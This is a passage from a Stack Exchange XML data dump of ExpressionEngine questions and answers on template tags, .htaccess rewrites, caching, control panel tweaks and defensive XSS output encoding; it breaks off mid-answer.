  <row Id="30967" PostTypeId="2" ParentId="30880" CreationDate="2015-04-10T14:32:09.360" Score="1" Body="&lt;p&gt;According to the store docs your can use &lt;code&gt;total_stock&lt;/code&gt; for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock &amp;gt; 0} In Stock {if:else} Out of Stock {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#total_stock&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/product_tag.html#total_stock&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2015-04-10T14:32:09.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30969" PostTypeId="2" ParentId="30961" CreationDate="2015-04-10T15:05:07.813" Score="1" Body="&lt;p&gt;In Store 1x versions this was easily possibly because you named each gateway you enabled manually. When V2 was released this was changed (I assume to help reduce the support request about people mislabeling gateways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In V2 you would need to go into Store folder and find the Stripe gateway folder/file and duplicate the structure while changing the naming of the classes everywhere in the files to match the name of your duplicated gateway. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-04-10T15:05:07.813" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30970" PostTypeId="2" ParentId="30960" CreationDate="2015-04-10T15:57:55.713" Score="0" Body="&lt;p&gt;I'm going to start another answer as the question and solution seem to have departed from the previous answer. The previous answer shows that we have debugged and checked that XSS filtering is actually taking and the correctly encoded values are saved in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now we just need to determin that, anywhere these fields are displayed (frontend or CP) are they displayed in their encoded form (i.e. using html elements &lt;code&gt;&amp;amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;amp;gt;&lt;/code&gt;) or are they being decoded before display (i.e. &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The former would be considered safe, though not optimal. It's basically behaving a bit like &lt;code&gt;htmlspecialchars()&lt;/code&gt;. You could improve this by decoding the sting in PHP, running it through &lt;code&gt;strip_tags()&lt;/code&gt; and re-encoding (for saftey) before display anlthough this is just an enhancement to stop the naughty user from seeing their results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter would be considered unsafe, as the malicious user can input some markup, allow it to be saved encoded and displayed uncoded, thus allowing injection. If this is the case the solution is the same, but required to 'make safe', either strip the tags before calling xss_clean (let it clean a tidier string) to clean before save (the determined hacker could work out other ways to encode the lt and gt (like unicode) so this in itself is not 100%) or better would be to also ensure wherever it is displayed, make sure to pass the output through &lt;code&gt;strip_tags()&lt;/code&gt; to obfuscate the tags that where saved as encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally beleive that the OP is referring to the first case where the html encoded output is being displayed on the page, but I'm sure Aaron will re-confirm soon!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps Aaron can also confirm exactly what the security company has stated, did they indicate where the display was happening? Did they provide a recommendation on resolution? If they did we can probably fashion the solution to meet their requirements, which is much easier than trying to convince them that this case doesn't break their rules, or get them to modify their rules...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-10T15:57:55.713" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30971" PostTypeId="2" ParentId="30957" CreationDate="2015-04-10T16:05:53.883" Score="1" Body="&lt;p&gt;I would honestly consider using some PHP snippet's and PHP Parsing set to input. It'd come out much cleaner! This way your php can populate the attributes for you. I assume you want 2003 to current year right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $startYear = 2003;&#xA;    $endYear = intval(date(&quot;Y&quot;,time()));&#xA;?&amp;gt;&#xA;&#xA;{exp:low_search:form form_id=&quot;search&quot; result_page=&quot;docs/index&quot; query=&quot;{segment_2}&quot;}&#xA;&#xA;    …other facets…&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Year&amp;lt;/legend&amp;gt;&#xA;        {exp:low_list:each items=&quot;&amp;lt;?php echo $startYear . '|' . $endYear; ?&amp;gt;&quot; as=&quot;year&quot; range=&quot;yes&quot;}&#xA;            &amp;lt;label&amp;gt;&#xA;                &amp;lt;input type=&quot;checkbox&quot; name=&quot;year&quot; value=&quot;{year}&quot;{if low_search_year == year} checked{/if} /&amp;gt;&#xA;                {year}&#xA;            &amp;lt;/label&amp;gt;&#xA;        {/exp:low_list:each}&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-small&quot; value=&quot;Filter&quot; /&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-10T16:05:53.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30972" PostTypeId="1" CreationDate="2015-04-10T16:28:19.657" Score="0" ViewCount="106" Body="&lt;p&gt;Channel data may contain ‘smart’ quotes/apostrophes, sometimes encoded. Yet site users naturally search using 'dumb' quotes. Therefore, supersearch may not find entries which ‘match’ the query! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anything be done about this?&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2016-05-30T04:39:52.527" Title="Handling smart quotes with supersearch" Tags="|solspace|supersearch|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30973" PostTypeId="2" ParentId="30957" CreationDate="2015-04-10T16:29:02.173" Score="0" Body="&lt;p&gt;How about using the Query module? Something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;year&quot;&amp;gt;&#xA;  {exp:query sql=&quot;SELECT DISTINCT year FROM exp_channel_titles WHERE channel_id = X ORDER BY year DESC&quot;}&#xA;    &amp;lt;option value=&quot;{year}&quot;&amp;gt;{year}&amp;lt;/option&amp;gt;&#xA;  {/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where X is the channel ID you want to target.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-10T16:29:02.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30974" PostTypeId="2" ParentId="30972" CreationDate="2015-04-10T16:33:08.463" Score="0" Body="&lt;p&gt;Well, you are rather lacking any context or examples in your question, however I would recommend stripping characters like this, that could be confused, from the search term completely, go to primitive words. This way even if your results do have 'smart' quotes as you call them in them, the mathcing will be done on a no quotes basis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for extra's like &lt;code&gt;'s&lt;/code&gt; and &lt;code&gt;'ll&lt;/code&gt; ect, replace them with nothing &quot;&quot; so a search for &lt;code&gt;rat's&lt;/code&gt; would be a search for &lt;code&gt;rat&lt;/code&gt;, likewise a search for &lt;code&gt;&quot;rat'&lt;/code&gt; (notice the mismatched quotes) would also search for &lt;code&gt;rat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the searched in fields, this will return results for &lt;code&gt;rat&lt;/code&gt;, &lt;code&gt;rat's&lt;/code&gt;, &lt;code&gt;&quot;rat's&quot;&lt;/code&gt; or &lt;code&gt;ratatatata!&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-10T16:33:08.463" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30976" PostTypeId="1" AcceptedAnswerId="30981" CreationDate="2015-04-10T18:27:39.857" Score="0" ViewCount="138" Body="&lt;p&gt;Is there a way to set the upper right hand website link in the CP to open in a new window or tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1364" LastEditorUserId="1364" LastEditDate="2015-04-10T18:46:43.800" LastActivityDate="2015-06-29T12:39:37.323" Title="Set control panel site link to open in new window" Tags="|control-panel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30977" PostTypeId="1" AcceptedAnswerId="30978" CreationDate="2015-04-10T19:57:17.563" Score="0" ViewCount="59" Body="&lt;p&gt;I'm running EE 2.7 and running champagne 2.3.4 (which is the latest).  When I went to change my email template in the extensions section I got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function get_channels() on a non-object in [system_path]/expressionengine/third_party/champagne/ext.champagne.php on line 188&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2015-04-10T19:57:17.563" Title="Champagne 2 get_channels() on a non-object" Tags="|2.7.0|champagne|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30978" PostTypeId="2" ParentId="30977" CreationDate="2015-04-10T19:57:17.563" Score="1" Body="&lt;p&gt;I did some hunting and found that ee 2.6 and I assume 2.7 doesn't load the channel_model automatically.  So I added this line right above 188:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('channel_model');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so 188 and 189 look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'channels' =&amp;gt; $this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('channel_model'),&#xA;'channels' =&amp;gt; $this-&amp;gt;EE-&amp;gt;channel_model-&amp;gt;get_channels()-&amp;gt;result_array(),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that fixed my problem.  &lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2015-04-10T19:57:17.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30979" PostTypeId="1" CreationDate="2015-04-10T20:32:19.733" Score="0" ViewCount="173" Body="&lt;p&gt;I wanted to remove the index.php the shows up in the URL. I used this guide:&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'index.php' is removed but some pages are being displayed incorrectly, or maybe the wrong pages are being requested. I have also tried all the exceptions and cases in the guide as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;Before the index.php change, when requesting the page &#xA;www.mywebsite.com/help/&#xA;I would get the page that was created on Expression Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the change, I would get the index file to the help directory, which listed all the files in that directory. The directory and files seem to come from the server hosting the website. Also, requests to other webpages returned 404 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, The 'index.php' fix removes the index.php from the URL, but makes some webpages return errors when requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, I'm using Apache version 2.2.3 &#xA;and this is the portion I added to remove the 'index.php':&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Removes index.php from ExpressionEngine URLs&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{THE_REQUEST} ^GET.*index.php [NC] &lt;br&gt;&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC] &lt;br&gt;&#xA;RewriteRule (.*?)index.php/*(.*) /$1$2 [R=301,NE,L]&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Directs all EE web requests through the site index file&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{REQUEST_FILENAME} !-f &lt;br&gt;&#xA;RewriteCond %{REQUEST_FILENAME} !-d &lt;br&gt;&#xA;RewriteRule ^(.*)$  /index.php?/$1 [L]&lt;/p&gt;&#xA;" OwnerUserId="6212" LastEditorUserId="6212" LastEditDate="2015-04-10T22:48:31.643" LastActivityDate="2015-04-10T22:48:31.643" Title="After removing index.php from URL, pages on the host server are being displayed instead of the pages that were created in EE" Tags="|htaccess|index.php|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30980" PostTypeId="2" ParentId="30976" CreationDate="2015-04-10T21:55:46.410" Score="1" Body="&lt;p&gt;I would suggest downloading a custom theme, and modifying the Javascript includes for that theme. All you should need to add to that file is this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( '.first_level:last-of-type' ).attr('target', '_blank');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that should hit the last button on your top level menu, which will be the redirect link to your site. Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;ps&lt;/em&gt; this was tested in EE 2.5, not 2.9+, but I doubt they've changed class names in the CP when still in the same version. Subversion changes like that would break theme compatibility too badly.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-04-10T21:55:46.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30981" PostTypeId="2" ParentId="30976" CreationDate="2015-04-11T10:02:28.137" Score="2" Body="&lt;p&gt;You could use the &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; add-on (&lt;a href=&quot;https://github.com/pixelandtonic/cp_css_js&quot; rel=&quot;nofollow&quot;&gt;download link&lt;/a&gt;) to inject JS to add the attribute to the link?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#navigationTabs .msm_sites a').attr(&quot;target&quot;, &quot;_blank&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested on EE v2.9.2 &amp;amp; v2.5.3. Don't worry about the msm reference - it's marked as that even if you don't have MSM installed.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-04-11T10:02:28.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30982" PostTypeId="2" ParentId="30953" CreationDate="2015-04-11T10:15:08.980" Score="0" Body="&lt;p&gt;You could avoid writing an Accessory and just inject the JS into the Control Panel to do it for you using the &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; add-on (&lt;a href=&quot;https://github.com/pixelandtonic/cp_css_js&quot; rel=&quot;nofollow&quot;&gt;download link&lt;/a&gt;) to inject JS on the filter event?  Hook onto the form submit for #filterform - something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#filterform&quot;).submit(function (e) {&#xA;    e.preventDefault();&#xA;    //Do your thing.&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if that will fire before the ajax or after though. Might have to watch for a change in the top row of the table.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-04-11T10:15:08.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30983" PostTypeId="2" ParentId="30964" CreationDate="2015-04-11T11:22:16.567" Score="0" Body="&lt;p&gt;I considered what you suggested and decided that as my little project was at it's infancy, the best course of action was to uninstall EE and re-install. A quick process that seems to have worked. Just now I am configuring my EE forum. I have the latest versions of the Help file, EE software, and Forum software. There is a lot to learn but I am finding it quite systematic and methodical. The biggest barrier to my learning curve is my uncanny ability to miss the glaringly obvious.&#xA;Thank you for your advice&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2015-04-11T11:22:16.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30984" PostTypeId="1" CreationDate="2015-04-11T23:24:20.460" Score="0" ViewCount="19" Body="&lt;p&gt;If I remove the space the channel works, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel with the a name containing spaces, and it wont show on the site, if I remove the space the channel works fine&lt;/p&gt;&#xA;" OwnerUserId="6214" LastActivityDate="2015-04-11T23:24:20.460" Title="Full Channel Name with space prevents channel from displaying" Tags="|channel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30985" PostTypeId="1" AcceptedAnswerId="30992" CreationDate="2015-04-12T09:04:43.997" Score="0" ViewCount="76" Body="&lt;p&gt;Can anyone advise if any of the available EE plugins to embed YouTube etc into a page, will also embed into the EE forum software as a WYSIWYG so that members can use it ?&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2015-04-13T06:34:08.953" Title="EE Video Plugins" Tags="|ee2|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30987" PostTypeId="1" AcceptedAnswerId="30998" CreationDate="2015-04-12T13:54:34.053" Score="1" ViewCount="121" Body="&lt;p&gt;I have a form where I need to have a table submitted to Freeform in a text area. This is working correctly, however in the notification the table is not being rendered but is rather outputting raw html, see image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set the notification template to allow html, I've also set the textarea to NOT prevent user html rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there soemthing I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE - I also set up freeform:entries and this field with the table inside it is outputting the table as entities and not html. Is there some way to get this working?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q8HG4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-04-13T14:59:55.540" LastActivityDate="2015-04-13T16:08:51.760" Title="Render User Submitted HTML in Freeform Notification" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30988" PostTypeId="2" ParentId="30987" CreationDate="2015-04-12T14:24:32.630" Score="0" Body="&lt;p&gt;Under Admin/Email Settings  try setting default email Format to html&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-04-12T14:24:32.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30990" PostTypeId="1" CreationDate="2015-04-13T03:44:22.393" Score="1" ViewCount="99" Body="&lt;p&gt;I am trying to give members access to the control panel so that they can publish edit their own entries. Say I have Channel A and Channel B. It is easy to setup EE so that each member can only edit the entries they create but say Channel B has a relationship field to Channel A.  There does not seem to be a way to restriction the entries in the relationship field to the entries from Channel A that the current user created just to the to the users group.  Which would let them select entries from Channel A that they did not create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize I could build all this functionality in front end templates but would really rather not since the Channel A fields has a lot of grids and relationships to other channels as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way in EE to set this up or is there a plugin that allows for this type of permissions in the relationship field type?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-04-13T03:44:22.393" Title="member control panel channel entry field relationship permissions" Tags="|members|relationships|control-panel|entry|permissions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30991" PostTypeId="1" CreationDate="2015-04-13T06:17:34.787" Score="1" ViewCount="47" Body="&lt;p&gt;I assume due to some bug in the parser,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:nav nav_title=&quot;header&quot; selected_class=&quot;on&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;yes&quot;&amp;gt;&amp;lt;a href=&quot;/foo&quot;&amp;gt;Foo&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/bar&quot;&amp;gt;Bar&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/baz&quot;&amp;gt;Baz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I am able to change the styles, it would be highly preferable to overcome this issue, as the navigation is being retrofitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else hit a similar issue?&lt;/p&gt;&#xA;" OwnerUserId="6216" LastEditorUserId="6216" LastEditDate="2015-04-13T23:30:30.097" LastActivityDate="2016-05-18T10:14:01.067" Title="NavEE selected_class=&quot;on&quot; becomes class=&quot;yes&quot; - possible to solve w/o updating styling?" Tags="|templates|parsing|navee|2.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30992" PostTypeId="2" ParentId="30985" CreationDate="2015-04-13T06:34:08.953" Score="1" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-videos&quot; rel=&quot;nofollow&quot;&gt;Channel Videos module from DevDemon&lt;/a&gt; with YouTube and Vimeo videos. It has a lookup feature within the module so you can search either resource from your EE install..quite good, and it's free. One issue: name your video tab anything other than {video} - that fails for some reason. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2015-04-13T06:34:08.953" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30993" PostTypeId="1" AcceptedAnswerId="31038" CreationDate="2015-04-13T09:55:03.593" Score="1" ViewCount="204" Body="&lt;p&gt;After updaiting to EE 2.9.3 some my sites get many-many errors like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Uninitialized string offset: 19096&#xA;Filename: relationship_parser/VariableFinder.php&#xA;Line Number: 109&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some googling revealed that probably Grid filetype and obviously relationships are involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i need change something in templates, is some syntax changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything on web page works as it should.&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2015-04-15T16:08:07.830" Title="After 2.9.3 update tons of errors related “relationship_parser/VariableFinder.php”" Tags="|relationships|grid|update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30994" PostTypeId="1" CreationDate="2015-04-13T11:56:08.007" Score="0" ViewCount="187" Body="&lt;p&gt;I'm just applying some tag caching to templates on a client's site to improve performance (which isn't bad, but having no caching currently set could obviously be improved). I'm no expert at implementing caching in EE but I'm not seeing any reduction in database queries or in the memory used. So either I'm misunderstanding what I should be seeing, or I'm doing something wrong, or perhaps there is some setting that is preventing tag caching from taking place. (I'm aware of the disable_tag_caching config variable; mine is set to 'n').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my testing process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add cache=&quot;yes&quot; refresh=&quot;720&quot; parameters to a template's channel:entries tag&lt;/li&gt;&#xA;&lt;li&gt;turn on template debugger and output profiler via config variables&lt;/li&gt;&#xA;&lt;li&gt;Clear caches from the CP&lt;/li&gt;&#xA;&lt;li&gt;Load page template in front end, examine number of queries and memory used&lt;/li&gt;&#xA;&lt;li&gt;Reload page template, compare queries and memory usage to [4]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would expect there to be a difference in the reported number of queries and, perhaps, the memory used, between stages 4 and 5, since -- as I understand it -- the content of the channel:entries tag will be generated by database queries in stage 4 but ought to be taken directly from the cache in stage 5. But I'm seeing the &lt;em&gt;exact same&lt;/em&gt; numbers from both stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This really isn't a high traffic site at the moment, so I don't want to go down the road of buying a third party cache add-on if I can help it. I'd much prefer, at this stage, to understand either what I'm doing wrong (or misunderstanding) or, if my process is correct, what might be interfering with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any advice?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2016-05-31T17:50:28.380" Title="Tag caching seems not to be reducing number of queries" Tags="|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30995" PostTypeId="2" ParentId="19766" CreationDate="2015-04-13T14:34:13.187" Score="0" Body="&lt;p&gt;Did you get this to work out for you, if so what did you use to import several grid field-data into the entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards &#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2015-04-13T14:34:13.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30996" PostTypeId="1" AcceptedAnswerId="30997" CreationDate="2015-04-13T15:19:25.047" Score="0" ViewCount="52" Body="&lt;p&gt;I am trying to get a php snippet working within a template with PHP enabled(output).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$uid does contain the {member_id} as expected but the php has not returned the correct result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; &#xA;I think this is parse order issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $uid = &quot;{member_id}&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3668" LastEditorUserId="3668" LastEditDate="2015-04-13T15:37:13.670" LastActivityDate="2015-04-13T16:08:22.423" Title="Define PHP var using a global var" Tags="|php|ee|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="30997" PostTypeId="2" ParentId="30996" CreationDate="2015-04-13T16:08:22.423" Score="1" Body="&lt;p&gt;This most likely is parse order, however as your trying to get a global into a php variable you can forget about tag parsing completely. Try this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uid = ee()-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Member ID is in the Session class (if logged in), test the group for if_logged_in or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, for other global vars, you can do things like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Global Variables (Site Label)&#xA;$var = ee()-&amp;gt;config-&amp;gt;_global_vars['site_label'];&#xA;&#xA;//Global config settings (Base URL)&#xA;$var = ee()-&amp;gt;config-&amp;gt;config['base_url'];&#xA;&#xA;//User variables (alternate method)&#xA;$var = ee()-&amp;gt;session-&amp;gt;userdata['group_id'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-13T16:08:22.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30998" PostTypeId="2" ParentId="30987" CreationDate="2015-04-13T16:08:51.760" Score="1" Body="&lt;p&gt;I found the solution to this. I had to wrap the code inside the textarea with {exp:ce_str:ing html_entity_decode}. Now everything works correctly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;product_requests&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;    {exp:cookie_fav:favourites}&#xA;        {if has_favourites}&#xA;        {exp:ce_str:ing html_entity_decode}&#xA;        &amp;lt;table class=&quot;quote-items table table-striped&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Product Id&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Product Name/Description&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Quantity&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;&#xA;            &amp;lt;tbody&amp;gt;&#xA;                {exp:channel:entries channel=&quot;product_page&quot; limit=&quot;200&quot; entry_id=&quot;{favourites_entry_ids}&quot;}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td class=&quot;prod_id&quot;&amp;gt;{product_id}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;prod_name&quot;&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;prod_quantity&quot;&amp;gt;&#xA;                        {!--&#xA;                            Get Quantity set on Page 1&#xA;                        --}&#xA;                        {exp:evopost:getpostdata}&#xA;                            {ep_quantity_entry_{entry_id}}&#xA;                        {/exp:evopost:getpostdata}&#xA;                    &amp;lt;/td&amp;gt;&#xA;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {/exp:channel:entries}&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        {/exp:ce_str:ing}&#xA;&#xA;        {/if}&#xA;&#xA;        {if has_favourites == FALSE}&#xA;            &amp;lt;p&amp;gt;You haven't chosen any products to request a quote yet.&amp;lt;/p&amp;gt;&#xA;        